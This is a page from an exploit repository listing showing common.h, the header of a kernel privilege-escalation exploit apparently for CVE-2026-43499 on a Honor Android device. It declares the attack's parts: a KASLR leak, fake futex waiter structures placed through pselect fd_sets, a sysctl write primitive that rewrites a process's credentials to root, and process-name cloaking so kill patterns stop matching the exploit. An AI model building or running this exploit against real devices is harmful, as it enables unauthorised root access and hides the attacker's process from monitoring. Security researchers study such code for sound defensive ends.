Exploit databaseDownload repository ZIP
GH-9bef17e09542a281205690d3193c0ebe
cyrrp/honor90-ghostlock
Sources for CVE-2026-43499
168 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
cyrrp/honor90-ghostlockRevision 2efb6adad005
- ↑..Parent directory
- kernelsnitch/
- targets/
- common.h
- env_defaults.h
- launcher.c
- main.c
- offset.h
- slide.c
- sysctl.c
- util.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/src/common.h
Text · 5,641 bytes#ifndef COMMON_H
#define COMMON_H
#define _GNU_SOURCE
#define __ARM 1
#include "offset.h"
#define KS_PAGE_SIZE 4096
#define KS_PAGE_MASK 0xfffULL
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/memfd.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "kernelsnitch/utils.h"
// Sysctl-route write-node override: when armed, the dm-page and pselect
// waiter stamps use these instead of the compile-time constants; the erase
// writes sysctl_w_value into *sysctl_w_target. The armed flag (not value!=0)
// gates the override so zero can be written too.
extern int sysctl_w_armed;
extern uintptr_t sysctl_w_value;
extern uintptr_t sysctl_w_target;
int run_sysctl_stage(void);
long long read_child_cpu_ticks(pid_t pid);
extern int slide_attempt_no;
// Effective pselect->waiter word shift (honors SLIDE_SHIFT); logged per walk.
int slide_current_shift(void);
// KernelSnitch bruteforce iterates mm slab objects at their STRIDE, not
// sizeof. Our kernel: sizeof(mm_struct)=952 (DWARF) -> mm_cachep object
// stride = 960 (64B-aligned) = 0x3c0 (matches pfem10 slabinfo on same KMI).
#ifndef MM_STRUCT_SZ
#define MM_STRUCT_SZ 0x3c0
#endif
#define MM_ORDER 3
#define CORE 0
#define KSNITCH_COLLISIONS 8
#define FAKE_WAITER_PRIO 130
// Capability bits (defined locally against NDK header variance).
#ifndef CAP_SETUID
#define CAP_SETUID 7
#endif
#ifndef _LINUX_CAPABILITY_VERSION_3
#define _LINUX_CAPABILITY_VERSION_3 0x20080522
#endif
#define P0_KERNEL_PHYS_DELTA (P0_KERNEL_PHYS_LOAD - P0_PHYS_OFFSET)
#define PSELECT_ROUTE_NFDS 320
#define PSELECT_ENTER_DELAY_USEC 50000
// Runtime phys-load aliases, computed at startup from p0_phys_load_rt (env
// P0_PHYS_LOAD overrides the build-time default) so one binary can sweep
// candidates per boot. DO NOT use these in static initializers.
extern uintptr_t p0_phys_load_rt;
extern uintptr_t SLIDE_NFULNL_LOGGER;
extern uintptr_t SLIDE_LOGGERS_0_1;
extern uintptr_t SLIDE_RANDOM_BOOT_ID_DATA;
extern uintptr_t SLIDE_INIT_TASK;
extern uintptr_t SLIDE_ROOT_TASK_GROUP;
extern uintptr_t SLIDE_SYSCTL_BOOTID;
extern uintptr_t SLIDE_RT_SCHED_CLASS;
void p0_aliases_init(void);
#define PAGE_PAYLOAD_SLIDE 1
struct kernelsnitch_shared_state;
struct local_sched_attr {
uint32_t size;
uint32_t sched_policy;
uint64_t sched_flags;
int32_t sched_nice;
uint32_t sched_priority;
uint64_t sched_runtime;
uint64_t sched_deadline;
uint64_t sched_period;
};
extern uintptr_t page_base;
extern uintptr_t fake_lock;
extern uintptr_t fake_w0;
extern uintptr_t fake_task;
extern uintptr_t fake_parent;
extern uintptr_t fake_right;
extern uintptr_t fake_left;
extern int kaslr_done;
extern uint64_t kaslr_base;
extern uint64_t kaslr_slide;
int run_exploit(int argc, char **argv);
void read_first_line(const char *path, char *buf, size_t len);
void log_startup_context(void);
void log_slide_child_context(void);
void disable_rseq_for_thread(void);
long futex_op(
uint32_t *uaddr, int op, uint32_t val,
const struct timespec *timeout, uint32_t *uaddr2, uint32_t val3);
long sched_setattr_tid(int tid, int nice_value);
uintptr_t p0_data_alias(uintptr_t image_addr);
uintptr_t p0_alias_image_offset(uintptr_t data_alias);
uintptr_t data_addr(uintptr_t image_addr);
uintptr_t kaslr_image_addr(uintptr_t image_addr);
uintptr_t text_addr(uintptr_t image_addr);
void put64(unsigned char *p, size_t off, uint64_t value);
void put32(unsigned char *p, size_t off, uint32_t value);
void kill_child(pid_t child);
// Direct-map payload page: fake_lock/fake_w0/fake_task in a perf-oracle'd
// USER anon page at its linear-map VA dm(P) — no spray, no reclaim.
uintptr_t prepare_dm_page(int payload_mode);
// KernelSnitch leak of a LIVE anchor child's mm; the anchor parks in a
// getuid poll and flips once the CRED walk rewrites its task->cred (see
// util.c/sysctl.c).
uintptr_t ks_probe_live_mm(pid_t *out_child, int root_pipe[2]);
int caps_have_setuid(void);
void fdset_put_word(fd_set *set, int word, uint64_t value);
uint64_t fdset_get_word(const fd_set *set, int word);
int slide_pselect_words_per_set(void);
int slide_pselect_global_word(int waiter_word);
int slide_pselect_put_global_word(
fd_set *in, fd_set *out, fd_set *ex, int words_per_set,
int global_word, uint64_t value);
uint64_t slide_pselect_get_global_word(
const fd_set *in, const fd_set *out, const fd_set *ex,
int words_per_set, int global_word);
void slide_pselect_put_waiter_word(
fd_set *in, fd_set *out, fd_set *ex, int words_per_set,
int waiter_word, uint64_t value, const char *name);
void prepare_slide_pselect_fdsets(fd_set *in, fd_set *out, fd_set *ex);
void open_slide_selected_fds(
fd_set *in, fd_set *out, fd_set *ex, int read_fd);
void slide_pselect_stack_copy(void);
int hex_value(char c);
uint64_t slide_read_stext(void);
uint64_t slide_child_leak_stext(void);
// util.c: overwrite argv[0] in place so pkill -f patterns aimed at the
// exploit's launch path stop matching this process (see run_cmd_watcher).
void util_set_argv0(char *p);
void util_cloak_cmdline(const char *nm);
// Proof/marker files inside $KSU_RUNDIR when set — a stale root-owned
// top-level file is unwritable and undeletable for the next uid-2000 run.
const char *gl_run_file(const char *name);
#endif